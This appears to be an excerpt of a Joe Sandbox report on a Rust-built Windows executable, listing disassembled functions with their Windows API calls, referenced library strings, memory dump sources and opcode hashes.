String ID: PATHlibrary\std\src\sys_common\process.rs$assertion failed: self.height > 0
API String ID: 3510742995-3507162100
Opcode ID: a087237bcf938bba385ece63445749f83ecff70f4101cd1bdba2c2cdc9de05ae
Instruction ID: de181a2363e93967ae266697680c27ac26b8dd0f2c2f627e02ecf176b9162c9b
Opcode Fuzzy Hash: a087237bcf938bba385ece63445749f83ecff70f4101cd1bdba2c2cdc9de05ae
Instruction Fuzzy Hash: A2329622A08FD184E722AF25D8453F9A360FF59BA8F584131DE4D17B96DF39929BC310

Function 00007FF717723A70 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 364COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF717723F55
memcpy.MSVCRT ref: 00007FF717723F6E

Strings

assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}, xrefs: 00007FF717725E73
0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF717723A71
assertion failed: old_left_len >= count, xrefs: 00007FF717724C1A

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
String ID: 0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character$assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}$assertion failed: old_left_len >= count
API String ID: 3510742995-2606162457
Opcode ID: 4930317a2fd92120e4bc59f8b9b2d04c06098b35c20cfe02a10b2916d063e656
Instruction ID: e5b31f49e2cf32737a0715f187c1f573f5dc06bdf09d1df5ebf6a673cb065755
Opcode Fuzzy Hash: 4930317a2fd92120e4bc59f8b9b2d04c06098b35c20cfe02a10b2916d063e656
Instruction Fuzzy Hash: AFE1D262B19F8182EB45AF25D8403B9A360FB49FA4F848535DE2D17392DF3CE59AC310

Function 00007FF717763550 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 267COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF7177636A1
memcpy.MSVCRT ref: 00007FF71776381B
memcpy.MSVCRT ref: 00007FF7177638B4

Strings

0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF717763551
program path has no file name, xrefs: 00007FF71776355B

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
String ID: program path has no file name$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 3510742995-4245703473
Opcode ID: 5c48e4c39586f8f585aba54d1f6d3e192b2042a8855fe34e5db6de5f69e32e97
Instruction ID: cf823128a879c4bfd8bcd48abcaa5b30bef9c67f6c4177caf87cf62dd5d215c7
Opcode Fuzzy Hash: 5c48e4c39586f8f585aba54d1f6d3e192b2042a8855fe34e5db6de5f69e32e97
Instruction Fuzzy Hash: 39A1A652F18F5245FA10AB6189006BDA761BB09BE8F848531DE1D17B8EDF7DE14ED320

Function 00007FF7177254E0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 157COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF71772556E
memcpy.MSVCRT ref: 00007FF7177255A5

Strings

assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}, xrefs: 00007FF717725E73
assertion failed: old_left_len + count <= CAPACITY, xrefs: 00007FF717725092
assertion failed: new_left_len <= CAPACITY, xrefs: 00007FF7177254A7, 00007FF7177258A3

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}$assertion failed: new_left_len <= CAPACITY$assertion failed: old_left_len + count <= CAPACITY
API String ID: 3510742995-3535459961
Opcode ID: 70168d065c6a3ca59545dac05477e4dd7e94a6eca155fb99468ba8c209af9471
Instruction ID: cb3858e0d9e11a78d9f17ef700b1ca41936b8073df2afcfcb744ec361040c9b6
Opcode Fuzzy Hash: 70168d065c6a3ca59545dac05477e4dd7e94a6eca155fb99468ba8c209af9471
Instruction Fuzzy Hash: F2818F32A08FC585E7219F28D8403F977A4FB58B98F908221DE9D17769EF75D29AC300

Function 00007FF71775F3A5 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF71775F3AF
CloseHandle.KERNEL32 ref: 00007FF71775F3C4
CloseHandle.KERNEL32 ref: 00007FF71775F923

Strings

0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF71775F941
program path has no file name, xrefs: 00007FF71775F990

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle
String ID: program path has no file name$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 2962429428-4245703473
Opcode ID: e4ed8d0c59601023ecf3ebc2ed2f1d44bedde78b38ba1afae8e28cebf9c8ba44
Instruction ID: 5202deffb613176c7e9cd9cab0d0bbf45293f2c6a71137dce1581d3aedc95246
Opcode Fuzzy Hash: e4ed8d0c59601023ecf3ebc2ed2f1d44bedde78b38ba1afae8e28cebf9c8ba44
Instruction Fuzzy Hash: 1E417062A09E8195EB60BB2198047FA9360AF49BA8FC45436DE0D47787DE39E54F8321

Function 00007FF717757830 Relevance: 7.6, APIs: 5, Instructions: 93networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF71775789F
connect.WS2_32 ref: 00007FF7177578FB
WSAGetLastError.WS2_32 ref: 00007FF71775790A
ioctlsocket.WS2_32 ref: 00007FF71775793A

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$connectioctlsocket
String ID:
API String ID: 1971785428-0
Opcode ID: 0db338ea5928d33d7f0d60137e2a4ec9b44759f720c3e057481c14978456a539
Instruction ID: d7866f800e74609b73ff2d25bd6ca20d47e87d59e095f3ee1d11175af49cfde4
Opcode Fuzzy Hash: 0db338ea5928d33d7f0d60137e2a4ec9b44759f720c3e057481c14978456a539
Instruction Fuzzy Hash: 72310562A18AD185F330AB7598417F9B6A0EB487A4F955132DE1C473C2DF38E59EC3B0

Function 00007FF71775FB8B Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF71775FB8D
GetLastError.KERNEL32 ref: 00007FF71775FBA5
GetCurrentProcess.KERNEL32 ref: 00007FF71775FD43
DuplicateHandle.KERNEL32 ref: 00007FF71775FD6D
GetLastError.KERNEL32 ref: 00007FF71775FD7C

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorHandleLast$CurrentDuplicateProcess
String ID:
API String ID: 3697983210-0
Opcode ID: e16d268964d62feb434ca1289034d1693678657d648a729bbab490d3768ff12e
Instruction ID: 388d0d39cd7b254f50786f7bf35470efe1e572a3152e0b6db1a7bb7f40c76b10
Opcode Fuzzy Hash: e16d268964d62feb434ca1289034d1693678657d648a729bbab490d3768ff12e
Instruction Fuzzy Hash: B5117322E09B1145FB20AB60A0053B995A0AB4C7B8FD80631DD5C57BC7DF7DD49F87A0

Function 00007FF7177AD980 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 240memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00007FF7178DA1B0,00007FF7178DA1B8,00000001,?,?,?,?,?,00007FF717701224,?,?,?,00007FF7177013E6), ref: 00007FF7177ADB5D

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF7177ADCCA
Unknown pseudo relocation protocol version %d., xrefs: 00007FF7177ADCD6
Unknown pseudo relocation bit size %d., xrefs: 00007FF7177ADCB4

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: 96b70dcdced3092a79e7ce9b1dbf8396ced5d4e9346ba3b35ff7dc70d908fabe
Instruction ID: a77d317661f4ddc3d360728c70ed689d08d905eda9de35d6cdcbac4b8f738190
Opcode Fuzzy Hash: 96b70dcdced3092a79e7ce9b1dbf8396ced5d4e9346ba3b35ff7dc70d908fabe
Instruction Fuzzy Hash: 4091D122E09E0247FB107B259840679E661AF59B70FD88231DD2C177DEDE2CE88F8360

Function 00007FF71775F837 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

FreeEnvironmentStringsW.KERNEL32 ref: 00007FF71775F87C
CloseHandle.KERNEL32 ref: 00007FF71775F923

Strings

0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF71775F941
program path has no file name, xrefs: 00007FF71775F990

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseEnvironmentFreeHandleStrings
String ID: program path has no file name$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 2431795302-4245703473
Opcode ID: 339552d0491dd970e688072a4d3e833ad330e0bb19627bfc62c7994c053cb7c5
Instruction ID: d3a4656155d21529a24dc8dc6715982b67158c79a5c7a539dcd5374e5f89651d
Opcode Fuzzy Hash: 339552d0491dd970e688072a4d3e833ad330e0bb19627bfc62c7994c053cb7c5
Instruction Fuzzy Hash: 46418222B04E8291EA20BB22D8042FA9364AF49BE4FC45436DD0D47797DE39E54EC320

Function 00007FF71775F86C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

FreeEnvironmentStringsW.KERNEL32 ref: 00007FF71775F87C
CloseHandle.KERNEL32 ref: 00007FF71775F923

Strings

0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF71775F941
program path has no file name, xrefs: 00007FF71775F990

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseEnvironmentFreeHandleStrings
String ID: program path has no file name$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 2431795302-4245703473
Opcode ID: 5892b2aeae5a605133dc5c31f380f1318e5ef878c0ed1329628f4a0257264dd3
Instruction ID: 2c429b763170c87149a07a03c5b71e2ff4d096ee71d0efb9bd9edb2f3ee3a81d
Opcode Fuzzy Hash: 5892b2aeae5a605133dc5c31f380f1318e5ef878c0ed1329628f4a0257264dd3
Instruction Fuzzy Hash: 22317262A04E8591EA20BB62D8042FA9364BF49BA4FC45432DE0E47797DE38D54FC360

Function 00007FF7177ADD36 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

CCG , xrefs: 00007FF7177ADD55

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 7c3cbd8d043dbe7ee500ad9f982921b101fb08654013cfecdcbfb32fbcfe9d66
Instruction ID: 7addd40e291a3eaa2e454bce441faf20ed62cb47ea5ce840b58820bf87387ac6
Opcode Fuzzy Hash: 7c3cbd8d043dbe7ee500ad9f982921b101fb08654013cfecdcbfb32fbcfe9d66
Instruction Fuzzy Hash: 16217C51E0D90247FAA93264945137895819F9DB70F9C8937CE0D863DBDD1CA8EF8221

Function 00007FF717761620 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF717761634
GetLastError.KERNEL32 ref: 00007FF71776164D
CloseHandle.KERNEL32 ref: 00007FF7177616BD

Strings

SystemTime, xrefs: 00007FF7177616DF

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseErrorHandleLastObjectSingleWait
String ID: SystemTime
API String ID: 2173817864-2656138
Opcode ID: ff0f429e8c35159ba724ebe3e140afce189a4b087dba9546ca4afad030b3a720
Instruction ID: 2b4b0fdcb80c41ab0c72a69f6cd4b6658b048b4a91b7ff44854298501bcfc60d
Opcode Fuzzy Hash: ff0f429e8c35159ba724ebe3e140afce189a4b087dba9546ca4afad030b3a720
Instruction Fuzzy Hash: 74216F22B05F4198FB10BB61E4413FD6764AB48BA8FA44131DE5C12B9ADF38959FC360

Function 00007FF71775351B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32 ref: 00007FF717753526
memcpy.MSVCRT ref: 00007FF717753564
GetLastError.KERNEL32 ref: 00007FF71775357F

Strings

., xrefs: 00007FF71775352F

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorFileFindLastNextmemcpy
String ID: .
API String ID: 3684451505-248832578
Opcode ID: a83ac0a17b572a24873920af1541633784511c8d531b9238f944e5b3122dba3d
Instruction ID: 503ae9c10ff0e93dbd1da23f02661349d70c2ea2c4627cf1c7f7f2b431f11fb3
Opcode Fuzzy Hash: a83ac0a17b572a24873920af1541633784511c8d531b9238f944e5b3122dba3d
Instruction Fuzzy Hash: 3B11E712F04A0245FB61A774E4413B8A5709B48B6CFC84031DE8D466D2DE3CE5CF8360

Function 00007FF717745700 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF717745753

Part of subcall function 00007FF717760EF0: GetStdHandle.KERNEL32(-7FFFFFFFFFFFFF58,?,00001000,?,-7FFFFFFFFFFFFF58,?,00000000,00001FF0), ref: 00007FF717760F1F
Part of subcall function 00007FF717760EF0: GetLastError.KERNEL32(-7FFFFFFFFFFFFF58,?,00001000,?,-7FFFFFFFFFFFFF58,?,00000000,00001FF0), ref: 00007FF717760F2F

memcpy.MSVCRT ref: 00007FF717745850

Strings

assertion failed: filled <= self.buf.init, xrefs: 00007FF717745AB8

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorHandleLastmemcpymemset
String ID: assertion failed: filled <= self.buf.init
API String ID: 3211292799-906094691
Opcode ID: 9f2c9f5d79112fe39365158ab55285c7026b61322db35e62fa8adb01d7bd1f22
Instruction ID: 55984816e47e0d0a8b784d50ac6b019a2e4a4c85a8d5d8665190c6518b58aae5
Opcode Fuzzy Hash: 9f2c9f5d79112fe39365158ab55285c7026b61322db35e62fa8adb01d7bd1f22
Instruction Fuzzy Hash: 8E719072B04F5186EB04EB66D9411B9A761FB48BE8FA84831CE1D57B56DF3CE05BC220

Function 00007FF717745BB0 Relevance: 6.2, APIs: 4, Instructions: 160COMMON

Download Yara Rule

APIs

freeaddrinfo.WS2_32 ref: 00007FF717745C0B
freeaddrinfo.WS2_32 ref: 00007FF717745D87

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: freeaddrinfo
String ID:
API String ID: 2731292433-0
Opcode ID: 16ed5cc825eb54a38bdbfcfb039228942f1d86979281abac1946a1295f4e2622
Instruction ID: ed6f37d122167f8b12d7dc4456138e249d46335ac404737245fa753c6fcc23ab
Opcode Fuzzy Hash: 16ed5cc825eb54a38bdbfcfb039228942f1d86979281abac1946a1295f4e2622
Instruction Fuzzy Hash: 2D717922A04A908AE714EF74C4412EDB7B0FB48B5CF548125EF4D57B4AEB38D5AAC760

Function 00007FF71775B300 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF71775B35A
memcpy.MSVCRT ref: 00007FF71775B436
CloseHandle.KERNEL32 ref: 00007FF71775B4B4

Strings

0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF71775B301, 00007FF71775B3E1

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy$CloseHandle
String ID: 0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 2153058950-2658723938
Opcode ID: 5ccdc7d7fc3b5eee296fd75cbb4314273ad49aacba613200f771a09f63a16e49
Instruction ID: c455917bf5cfc95a6544d86d87a4bb6cc8b178104e30806afca59f1d934d9755
Opcode Fuzzy Hash: 5ccdc7d7fc3b5eee296fd75cbb4314273ad49aacba613200f771a09f63a16e49
Instruction Fuzzy Hash: 2841B222604E5592FA15BB1299402B89B60FB4DFE4FD84130DE4D17B93DF3DE5AB8710

Function 00007FF71775C7FB Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF71775CA1C
GetSystemDirectoryW.KERNEL32 ref: 00007FF71775CA27
GetLastError.KERNEL32 ref: 00007FF71775CA32
GetLastError.KERNEL32 ref: 00007FF71775CA4E

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

